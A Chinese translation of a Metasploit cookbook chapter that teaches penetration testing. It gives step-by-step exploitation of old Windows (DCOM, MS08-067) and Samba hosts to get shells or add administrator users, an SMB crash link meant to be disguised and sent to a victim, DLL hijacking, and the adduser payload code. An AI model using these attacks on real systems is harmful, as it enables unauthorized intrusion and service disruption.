在上一章中，我们专注于收集有关我们目标的信息。各种信息包括目标 IP 地址、开放端口、可用服务、操作系统等等。在信息收集过程中最重要的资产之一是了解目标服务器或系统使用的操作系统。这些信息在渗透目标机器时可能非常有帮助，因为我们可以快速寻找正在使用的操作系统的利用程序和漏洞。嗯，这个过程并不像听起来那么简单，但了解目标操作系统可以在很大程度上简化我们的任务。

每种操作系统都有一些或其他的漏洞。一旦被报告，就开始开发针对它的利用程序的过程。像 Windows 这样的有许可的操作系统很快就会为漏洞或脆弱性开发补丁，并将其作为更新提供给用户。漏洞披露是一个大问题。许多零日漏洞的披露在计算机行业造成了混乱。零日漏洞非常受欢迎，在地下市场上，价格可能从 50K 美元到 100K 美元不等。漏洞被发现和利用，但漏洞的披露取决于研究人员及其意图。

著名的产品如微软和 Adobe 定期发布补丁，但用户需要自行应用这些补丁。在企业场景中，情况甚至更糟糕——由于停机时间和确保业务连续性不受影响，服务器在被打补丁之前需要花费数周的时间。因此，始终建议更新或关注所使用操作系统中发现的任何最新漏洞。未打补丁的系统对黑客来说是一个安全的避风港，因为他们会立即启动利用程序来攻击目标。因此，定期打补丁和更新操作系统至关重要。在本章中，我们将重点关注一些最受欢迎的操作系统中报告的漏洞。

在渗透测试过程中，一旦获得了有关目标操作系统的信息，渗透测试人员就开始寻找特定操作系统漏洞的可用利用程序。因此，本章将是通过操作系统漏洞渗透我们目标的第一步。我们将重点关注微软和一些 Linux 版本中最广泛使用的家庭和企业操作系统。我们还将讨论如何使用利用程序并设置其参数以使其在目标机器上可执行。最后，但同样重要的是，我们将讨论 Metasploit 框架中对我们可用的一些有用的有效载荷。所以让我们开始做菜。

利用程序使用快速提示

在开始在目标机器上使用利用程序和有效载荷之前，我们首先必须了解一些关于它们的基础知识。了解利用程序的使用非常重要，这样您就可以克服由于参数错误配置而可能出现的一些常见错误。因此，让我们从利用程序的基础知识和如何设置参数值开始。

做好准备

为了开始在目标上使用利用程序，首先需要扫描目标的开放端口和服务。一旦收集到足够的关于目标的信息，下一步就是相应地选择利用程序。因此，让我们分析一些可以直接从 msfconsole 启动的利用命令。

如何做...

以下是在利用程序使用过程中将有所帮助的一些命令：

msf > show exploits和msf > show payloads: 这两个命令将显示 Metasploit 目录中所有可用的攻击和有效载荷。
msf > search exploit: 此命令将搜索特定的攻击。我们也可以使用此命令搜索任何特定的搜索词。命令应以以下方式传递：

msf > search exploit-name or search-term

例如，考虑以下命令：

msf > search ms03_026_dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/
dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM

msf > use exploit: 此命令用于设置任何攻击为活动状态并准备使用。命令以以下方式传递：

msf > use exploit name

执行此命令后，提示符也会更改为攻击类型：

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

show options: 此命令用于查看正在使用的攻击的可用选项或参数。各种参数包括主机 IP、端口、线程等。标记为yes的参数必须有一个值才能执行攻击。

msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port

set: 此命令用于在使用的攻击中设置参数的值。它用于为使用的特定攻击设置有效载荷。命令可以以以下方式传递：

msf > set parameter-name parameter-value

同样，我们也可以使用unset命令：

msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST => 102.168.56.102
msf exploit(ms03_026_dcom) >

还有名为setg和unsetg的可选命令。当我们需要在msfconsole中全局设置参数值时，可以使用这些命令。因此，它可以避免我们重新输入相同的值。
show targets: 每个攻击都是针对特定目标服务的。此命令显示攻击可以使用的可能目标的信息：

msf exploit(ms03_026_dcom) > show targets
Exploit targets:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal

在这里，我们可以看到dcom攻击适用于多种 Windows 机器。

它是如何工作的...

在第一章中，安全专业人员的 Metasploit 快速提示，我们已经讨论了整个 Metasploit 框架具有模块化架构。不同的攻击被转换为框架可理解的模块，可以根据其功能。调用不同的命令来加载和设置模块。msfconsole的命令行界面使得访问不同的模块和执行渗透测试变得容易。

在 Windows XP SP2 机器上进行渗透测试

现在让我们开始使用攻击的世界。首先，我们将使用最基本但最广泛使用的操作系统 Windows XP。在这个示例中，我们将看到如何使用 Metasploit 来入侵我们正在运行 Windows XP 机器的目标系统。我们将使用在上一个示例中学到的命令，然后继续选择攻击和有效载荷，并设置各种所需的参数。

准备工作

我们将从msfconsole开始我们的渗透测试过程。因此，启动控制台并执行端口扫描以收集有关目标的信息。我们在上一章节中详细讨论了端口扫描。在这里，我假设您已经收集了有关目标的信息，并且它正在运行 Windows XP 操作系统。因此，让我们继续选择攻击和有效载荷。

如何做...

要在 Windows XP SP2 机器上执行渗透测试，请按照以下步骤进行：

主要目标是选择一个可以在 Windows XP 机器上使用的攻击。您可以浏览/exploits/windows目录，或者简单地搜索 Windows XP 平台上可用攻击的列表。我们将使用 RPC dcom漏洞来渗透我们的目标。因此，让我们首先搜索 RPC dcom漏洞，使用以下命令：

msf exploit(ms03_026_dcom) > search dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- --- -----------
exploit/windows
dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC
xploit/windows/
driver/
broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless
xploit/windows/
smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE

如我们所见，搜索产生了三个结果。我们将使用第一个攻击，因为它的rank列为great，因此成功率会更高。

为了将exploit/windows/dcerpc/ms03_026_dcom设置为可用的攻击，我们将执行以下命令：

msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

提示符的更改表示命令已成功执行。

下一步将是设置 exploit 的各种参数。show options命令将列出 exploit 中可用的参数。然后，通过使用set命令，我们可以设置各种参数。某些参数也将具有默认值：

msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal

这里，RHOST表示远程主机的 IP 地址，RPORT表示默认绑定端口。RPORT的值默认设置为135。我们将不得不将RHOST的值设置为我们的目标 IP 地址，以执行 exploit：

msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(ms03_026_dcom) >

注意

请注意，ms03_026_dcom exploit 的 ID 设置为0。这意味着我们不需要指定目标上运行的 Windows 机器。它可以利用其中列出的任何 Windows 机器。对于任何其他 exploit，我们可能需要使用show targets命令选择目标操作系统。

现在，RHOST的值已设置为我们的目标 IP 地址。如果我们尝试运行 exploit，我们将收到错误消息。原因是我们尚未为 exploit 选择任何有效载荷。

我们的下一步将是选择相关的有效载荷。我们可以使用show payloads命令列出所有可用的有效载荷。我们将从windows/adduser有效载荷的简单示例开始。此有效载荷将在目标操作系统中添加一个新用户：

msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser

现在，如果我们再次使用show options命令，它将列出 exploit 和 payload 的参数。有效载荷参数将如下所示：

Payload options (windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes seh, thread, process, none
PASS metasploit yes password for this user
USER metasploit yes The username to create

我们可以看到将添加到我们的目标操作系统的默认用户名和密码是metasploit和metasploit。我们可以使用set PASS和set USER命令更改这些值。

现在我们的有效载荷已设置好，我们准备渗透目标机器。我们将使用以下命令启动 exploit：

msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

输出的最后一行显示 exploit 已成功完成在目标机器上。现在将在目标机器中添加一个新用户。输出还表示未创建任何会话。这是因为我们使用的有效载荷是一个简单的adduser，不需要任何活动会话。因此，一旦 exploit 完成，与目标的连接就会结束。在下一个步骤中，我们将使用有效载荷设置会话。

工作原理...

RPC 的一部分存在漏洞，该漏洞涉及通过 TCP/IP 进行消息交换。失败是因为对畸形消息的处理不正确。这种特定的漏洞影响具有 RPC 的分布式组件对象模型（DCOM）接口，该接口监听 RPC 启用的端口。因此，目标机器必须具有运行 RPC 服务的可用端口。

此接口处理由客户机发送到服务器的 DCOM 对象激活请求。成功利用此漏洞的攻击者将能够以受影响系统上的本地系统特权运行代码。攻击者将能够在系统上执行任何操作。这包括安装程序、查看/更改/删除数据或创建具有完全特权的新帐户。

有关此漏洞的更多详细信息，您可以访问以下链接到 Microsoft 安全公告：

technet.microsoft.com/en-us/security/bulletin/ms03-026

现在，为了了解adduser有效载荷的工作原理，我们将分析有效载荷的 ruby 代码。让我们浏览到有效载荷位置：

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb

我们感兴趣的代码部分如下：

# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length > 14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
"net localgroup Administrators #{user} /ADD"
end

通过添加#符号的注释，您可以理解代码。代码简单且自解释。首先注册用户名和密码的值。然后，它继续隐藏CMD函数，以防止在目标屏幕上出现，同时执行有效载荷。然后，代码覆盖windows/exec有效载荷以传递参数值并启动一个隐秘的命令提示符在后台执行。

你可以玩弄代码并进行自己的更改。这将帮助你深入了解有效载荷的世界。

将一个 shell 绑定到目标以进行远程访问

在上一篇文章中，我们分析了如何利用 Windows SP2 机器并添加一个新用户账户。但是在执行利用后连接立即终止。在这篇文章中，我们将向前迈进一步，将一个 shell 绑定到目标上，以便我们可以建立远程连接并控制目标。这个过程与上一篇文章中提到的类似。我们所要做的就是使用一个不同的有效载荷，可以在目标机器上为我们启动一个 shell。

准备工作

我们将再次启动我们的msfconsole，我们的目标与在 Windows XP SP2 机器上进行渗透测试配方中相同。我们将使用相同的dcom漏洞，然后这次使用不同的有效载荷将一个 shell 绑定到目标。

如何做...

要将一个 shell 绑定到目标，按照以下步骤进行：

我们将从选择dcom利用开始针对我们的目标机器。我们将设置各种利用参数，然后选择有效载荷：

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

现在我们的利用已经设置好，我们现在将转向有效载荷。使用show payloads命令将列出所有可用的有效载荷。现在，我们将使用windows/shell/bind_tcp有效载荷，它将在目标机器上的端口4444（默认）上打开一个 TCP 连接，并为我们提供一个命令 shell：

msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

现在：使用show options命令，我们可以设置其他相关参数，如RHOST并更改默认端口。设置好参数后，我们将执行利用。让我们看看执行的输出是什么：

msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.102:1052) at 2011-10-31 01:55:42 +0530
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

利用已经成功执行，并且我们在msfconsole中启动了一个命令提示符。现在，这个会话可以用来完全远程访问目标机器。我们可以随时使用exit命令退出这个会话。

你现在可能已经意识到了 Metasploit 中有效载荷的强大。强烈建议尝试各种可用的有效载荷，以了解它们的功能。

它是如何工作的...

dcom利用的工作原理与上一篇文章中解释的相同。要了解bind_tcp的工作原理，我们需要等一会儿，因为它涉及到一些我们将在本书的后面章节中处理的概念。不过，你可以通过浏览/pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb来查看有效载荷 ruby 代码。

还有更多...

接下来呢？shell 访问如何为我们提供对目标的控制。

获得对目标的完全控制

现在我们已经在目标机器上建立了一个 shell 连接，我们可以通过命令提示符完全访问目标机器。现在我们可以继续使用我们可以使用的常见 DOS 命令来探索目标机器。一些基本操作包括目录列表、复制文件和文件夹、创建用户代理等。

对 Windows 2003 服务器进行渗透测试

在上一篇文章中，我们分析了如何使用dcom利用来引起缓冲区溢出并利用我们的 Windows 目标。在这篇文章中，我们将专注于一个类似但逻辑上不同的环境。Windows 2003 服务器是微软最广泛使用的企业级操作系统之一。在这篇文章中，我们将看到如何利用 Windows 2003 服务器。更新版本的 Windows 2003 服务器已经修补了dcom漏洞，所以在这里不起作用。因此，我们将在这篇文章中尝试不同的漏洞。我们将使用netapi32.dll漏洞。首先，我们将分析利用过程，然后分析这个漏洞的原因。让我们开始我们的渗透测试。

准备工作

首先，让我们启动msfconsole并快速扫描目标。建议您按顺序执行所有步骤，以确保加强基础知识。下一步将与我们在前两个示例中讨论的相同。唯一的区别在于使用利用。

如何做...

要对 Windows 2003 服务器进行渗透测试，请按照以下步骤进行：

让我们开始搜索netapi。这将列出 Metasploit 目录中与netapi相关的任何可用利用：

msf > search netapi
Matching Modules
================
Name Disclosure Date Rank
---- --------------- ---- exploit/windows/smb/ms03_049_netapi 2003-11-11 good
exploit/windows/smb/ms06_040_netapi 2006-08-08 good
exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual
exploit/windows/smb/ms08_067_netapi 2008-10-28 great

正如我们所看到的，四个结果中，最后一个利用具有很高的评分。所以我们将优先使用这个利用。

我们将设置RHOST作为我们的目标 Windows 2003 服务器：

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

再次，Id值0表明我们不需要指定目标操作系统。

一旦我们完成了利用加载过程，下一步将是设置有效载荷。我们将在目标机器上再次设置一个tcp_bind shell，就像我们之前讨论的那样。

msf exploit(ms08_067_netapi) > set payload
windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

所以现在，我们的利用和有效载荷已经准备好了。下一步也是最后一步是使用exploit命令。让我们分析执行的结果：

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 -> 192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:\WINDOWS\system32>

太棒了！我们与目标建立了 shell 连接。这使我们可以通过命令行访问目标机器。您可以看到 Metasploit 在渗透目标机器方面有多么强大。这确实极大地简化了我们的任务。让我们快速看一下我们在这个示例中使用的利用。

工作原理...

该模块利用了netapi32.dll路径规范化代码中的解析漏洞，通过服务器服务。该模块能够绕过一些操作系统和服务包上的 NX。必须使用正确的目标来防止服务器服务（以及同一进程中的其他几个服务）崩溃。

Windows 7/Server 2008 R2 SMB 客户端无限循环

对于 Windows 7 和 Windows Server 2008，可用的利用非常少。SMB 客户端无限循环是一种会导致系统崩溃的漏洞。这种漏洞不会提供任何会话或 shell 连接，但值得讨论。我们将在理解 Windows DLL 注入漏洞示例中讨论 Windows 7 中的 DLL 注入漏洞。

Microsoft Windows Server 2008 R2 和 Windows 7 中的 SMB 客户端允许远程 SMB 服务器和中间人攻击者通过 SMBv1 或 SMBv2 响应数据包导致拒绝服务（无限循环和系统挂起）。数据包包含 NetBIOS 标头中的不正确长度值或此响应数据包末尾的附加长度字段。这个不正确的标头值是漏洞的主要原因。

准备工作

Metasploit 包含一个辅助模块auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop，可以用来利用 SMB 服务器并导致拒绝服务。攻击向量通过将 UNC 路径传递到网页并要求用户执行它来工作。一旦用户打开共享文件，系统将完全崩溃，目标将被迫重新启动。

如何做...

要开始使用这个辅助模块，我们必须执行use命令以及模块的路径。然后，我们将继续设置所需的参数并执行模块。让我们继续实际实施这些步骤：

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > show options
Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host..
SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SSLVersion SSL3 no Specify the version..

让我们快速设置各种参数。唯一要查找的参数是SRVHOST，即本地主机 IP 地址或渗透测试者的 IP 地址。

msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST 192.168.56.101
SRVHOST => 192.168.56.101

工作原理...

我们将使用run命令来执行辅助模块。一旦模块执行，它将生成一个共享文件夹链接，必须发送给目标。在这种情况下，生成的链接是\\192.168.56.101\Shared\Anything。

msf auxiliary(ms10_006_negotiate_response_loop) > run
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: \\192.168.56.101\Shared\Anything
[*] Server started.

现在我们可以通过制作一个网页并将该链接附加到网页上，然后发送给目标用户，使链接看起来不那么可疑。一旦目标点击该链接，系统将完全冻结，并导致完全的拒绝服务，从而导致系统重新启动。

利用 Linux（Ubuntu）机器

Linux 是继 Windows 之后使用最广泛的操作系统之一。在之前的几个示例中，我们看到了如何通过利用可用服务中的关键缺陷来渗透 Windows 机器。在本示例中，我们将处理 Linux 操作系统。我们将在本示例中使用 Ubuntu 9.0，但是对于渗透运行 Samba 服务的任何 Linux 和 Solaris 版本，该过程都是类似的。让我们继续进行本示例。

准备工作

我们将从扫描目标 Linux 机器开始，以收集有关可用服务的信息。让我们进行快速的 Nmap 扫描并分析其结果：

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
|_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ )

现在我们已经收集了有关目标的信息。我们的下一步将是选择一个利用和一个适当的有效载荷。

如何做...

渗透 Linux 机器的过程与 Windows 的类似。按照以下步骤进行：

我们需要关注的是选择正确的利用和有效载荷。让我们搜索一下 Metasploit 目录中是否有任何 Samba 利用可用：

msf > search Samba

该命令将提供 Samba 的各种辅助和利用模块的列表。我们将使用列为良好排名利用的exploit/linux/samba/lsa_transnames_heap模块。因此，它将更有可能利用目标。让我们将利用设置为活动状态并设置参数。

msf > use exploit/linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
-- ----
0 Linux vsyscall
msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(lsa_transnames_heap) >

我们的下一个任务是选择有效载荷。我们必须记住一件事，即我们正在针对 Linux 机器，因此我们必须为渗透过程选择一个 Linux 有效载荷。我们将使用linux/x86/shell_bind_tcp有效载荷，它与我们在之前的 Windows 示例中分析的bind_tcp有效载荷类似。

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.101 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address

我们现在已经准备好了，我们的最后一步将是提供利用命令来开始利用过程：

msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

成功执行利用后，我们将获得与目标机器的 shell 连接。该过程与我们在之前的示例中讨论的非常相似。唯一的区别在于选择利用和有效载荷。尝试不同的利用和有效载荷组合，将更好地帮助您理解它。

它是如何工作的...

让我们快速了解一下服务、其利用和工作的相关内容。Samba 用于 Linux 和 Windows 机器之间的打印和文件共享。该模块触发了 Samba 守护程序的 LSA RPC 服务中的堆溢出。该模块使用了 talloc 块覆盖方法（由 Ramon 和 Adriano 提供），该方法仅适用于 Samba 版本 3.0.21-3.0.24。该利用利用了堆中的动态内存分配。利用可能在第一次尝试时不成功，因此您可以尝试多次以实现成功。

还有更多...

让我们再来看一些与 Linux 操作系统相关的更多相关模块。

Linux 的其他相关利用模块

除了本示例中讨论的利用模块外，还有两个模块值得关注。强烈建议您手动尝试这些利用以深入了解它们。它们是：

Samba chain_reply 内存损坏：该利用通过破坏 Samba 版本 3.3.13 之前分配给响应数据包的内存来工作。内存通过传递大于目标缓冲区大小的值而崩溃。
Samba trans2open 溢出：这是 Samba 版本 2.2.0 至 2.2.8 存在的缓冲区溢出漏洞。它通过利用在未设置noexec堆栈选项的 x86 Linux 机器上的缺陷来工作。

了解 Windows DLL 注入漏洞

在这个示例中，我们将处理一种特殊类型的漏洞，这种漏洞并不直接存在于 Windows 操作系统中。事实上，它存在于运行在 Windows 上的各种应用软件中。这种远程攻击向量涉及影响应用程序如何加载外部库的一类漏洞。我们将对这个问题进行概述，以便进行仔细分析。

准备工作

这种攻击向量涉及创建一个脆弱的路径或目录，目标将不得不执行以触发它。该目录可以是文件、提取的存档、USB 驱动器、网络共享等。创建的文件将是完全无害的，但它将执行一个 DLL 注入代码来破坏系统。

如何操作...

让我们分析一下 DLL 注入的实际实现。在这个例子中，我们的目标机器是一个未打补丁的 Windows 7 Ultimate 机器。该过程通过创建一个链接来共享文件，目标将不得不访问并执行该文件。随着我们的进展，你将理解这个过程。

我们将使用exploit/windows/browser/webdav_dll_hijacker模块作为利用，windows/meterpreter/bind_tcp作为有效载荷。让我们快速设置利用和有效载荷以及其他所需的参数：

msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(webdav_dll_hijacker) > show options
Module options (exploit/windows/browser/webdav_dll_hijacker):
Name Current Setting Required Description
---- --------------- -------- -----------
BASENAME policy yes The base name for the listed
EXTENSIONS txt yes The list of extensions
SHARENAME documents yes The name of the top-level
SRVHOST 0.0.0.0 yes The local host...
SRVPORT 80 yes The daemon port to listen
SSLCert no Path to a custom SSL..
URIPATH / yes The URI to use
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LPORT 4444 yes The listen port
RHOST 192.168.56.102 no The target address
Exploit target:
Id Name
-- ----
0 Automatic

利用的各种参数将有助于创建特定文件和顶层共享。BASENAME参数包含要创建的文件的名称。EXTENSIONS是要创建的文件类型。SHARENAME是将为访问而创建的顶级共享目录。SRVHOST是本地监听端口，SRVPORT是SRVHOST将在其上监听连接的端口号。

一旦设置了利用和有效载荷的各个参数，下一步就是执行利用。让我们看看当我们执行它时会发生什么：

msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started bind handler
[*]
[*] Exploit links are now available at
\\192.168.56.101\documents\

一旦利用成功执行，它就开始监听连接，并提供一个共享链接，目标将不得不打开该链接以触发利用。让我们切换到目标屏幕看看会发生什么：

目标将查看一个简单的文件policy.txt，这个文件是攻击者共享的。这个文件是完全无害的。一旦用户执行了这个文件，就会与攻击者的机器建立连接，并建立 shell 连接。一旦文件在目标上执行，DLL 将执行，你将在你的msfconsole屏幕上看到大量的活动。一旦 DLL 注入成功，我们将有 shell 连接（见下图）：

如何操作...

它是如何工作的...

让我们挖掘一下这个漏洞的原因。动态链接库(DLL)是微软在 Windows 上实现的共享库概念。DLL 是在运行时与程序相关联的可执行文件，用于加载与其链接的共享库。当应用程序运行时，loadlibrary()函数在运行时加载所需的 DLL。如果未指定要加载的 DLL 的位置，或者应用程序提供了不够合格的库路径，Windows 将使用其自己定义的顺序来搜索它。在这个默认顺序中的一个位置是当前工作目录。

现在，当目标用户访问共享位置时，它会到达一个受攻击者控制的区域。如何做到的呢？共享文件（policy.txt）包含了一个较低限定路径的 DLL，因此当目标用户执行它时，Windows 会开始搜索缺失的 DLL。现在，由于当前工作目录（/documents）受攻击者控制，他/她可以在其中添加一个恶意 DLL 代码，Windows 将执行它（因为当前工作目录是 Windows 寻找库文件的默认位置之一）。现在这个恶意 DLL 可以赋予攻击者执行外部脚本的权限。因此，有效载荷现在开始生效，并建立一个 shell 连接，为攻击者提供对目标系统的完全访问权限。这就是整个攻击向量是如何设计的。

还有更多...

我们可以使用 H. D. Moore 开发的一个简单工具来寻找 DLL 注入。让我们快速了解一下。

H. D. Moore 的 DllHijackAudit 工具

Metasploit 的创始人 H. D. Moore 创建了这个安全审计工具，它可以用于在您自己的环境中测试 DLL 注入漏洞。它利用了进程监控实用程序和 Ruby 解释器。它通过监视相关文件的工作目录中是否访问了 DLL 来工作。它还生成测试报告。该工具和详细文档可以在blog.metasploit.com/2010/08/better-faster-stronger.html找到。

第四章：客户端攻击和防病毒绕过

在本章中，我们将涵盖：

Internet Explorer 不安全的脚本配置漏洞
Internet Explorer 递归调用内存损坏
Microsoft Word RTF 堆栈缓冲区溢出
Adobe Reader util.printf()缓冲区溢出
从msfpayload生成二进制和 shellcode
使用msfencode绕过客户端防病毒保护
使用killav.rb脚本禁用防病毒程序
深入了解killav.rb脚本
从命令行终止防病毒服务

介绍

在上一章中，我们专注于对目标操作系统进行渗透测试。操作系统是渗透目标的第一层，因为未打补丁和过时的操作系统很容易被利用，这将减少我们寻找其他渗透目标方法的努力。但情况可能有所不同。有时防火墙可能会阻止我们的扫描数据包，从而阻止我们获取有关目标操作系统或开放端口的任何信息。

还有可能目标有自动更新，定期修补操作系统的漏洞。这可能再次阻止所有渗透目标的攻击。这样的安全措施可以防止我们通过利用操作系统中已知的漏洞来获取对目标机器的访问。因此，我们必须向前迈进一步。这就是客户端攻击和绕过防病毒技术发挥作用的地方。让我们首先了解典型的客户端攻击向量。

假设渗透测试人员已经发现目标机器安装了更新的 Windows XP SP3 操作系统，并设置 Internet Explorer 7 作为默认浏览器来访问互联网和其他与网络相关的服务。因此，渗透测试人员现在将构建一个恶意 URL，其中包含一个可利用 IE 7 已知漏洞的可执行脚本。现在他构建了一个看似无害的 HTML 页面，并创建了一个包含相同恶意 URL 的超链接。接下来，他通过社会工程将 HTML 页面传输给目标用户，并以某种方式诱使他点击恶意超链接。由于该链接包含 IE 7 浏览器的已知漏洞利用，它可以破坏浏览器并允许进一步的代码执行，从而使渗透测试人员能够控制目标系统。他可以继续设置后门、释放病毒等。

现在到底发生了什么？尽管目标机器运行了经过修补和更新的 Windows 操作系统，但默认浏览器 IE 7 并未更新，或者说被目标用户忽视了。这使得渗透测试人员能够构建一个场景，并通过浏览器漏洞进入系统。

先前讨论的情景是一个简单的客户端攻击，目标在不知情的情况下执行了一个利用目标用户使用的应用软件中的漏洞的脚本。成功执行利用后，攻击者会破坏系统安全。

Metasploit 为我们提供了大量针对几种流行软件的利用模块，可以用于执行客户端攻击。本章将讨论的一些流行工具包括 Internet Explorer、Microsoft Office 套件、Adobe Reader、Flash 等。Metasploit 存储库包含这些流行工具的多个模块。让我们快速分析 Metasploit 中的客户端攻击过程。我们的目标是通过客户端执行成功攻击目标并建立 shell 连接。

Metasploit 将这个渗透过程分解为两个简单的步骤：

为您选择的应用程序工具生成相应的恶意链接/文件。然后，它开始在特定端口上监听与目标的反向连接。然后攻击者将恶意链接/文件发送给目标用户。
现在一旦目标执行了恶意链接/文件，应用程序就会被利用，Metasploit 立即将有效载荷传输到其他 Windows 进程，这样如果目标应用程序崩溃（由于利用）或用户关闭应用程序，连接仍然保持。

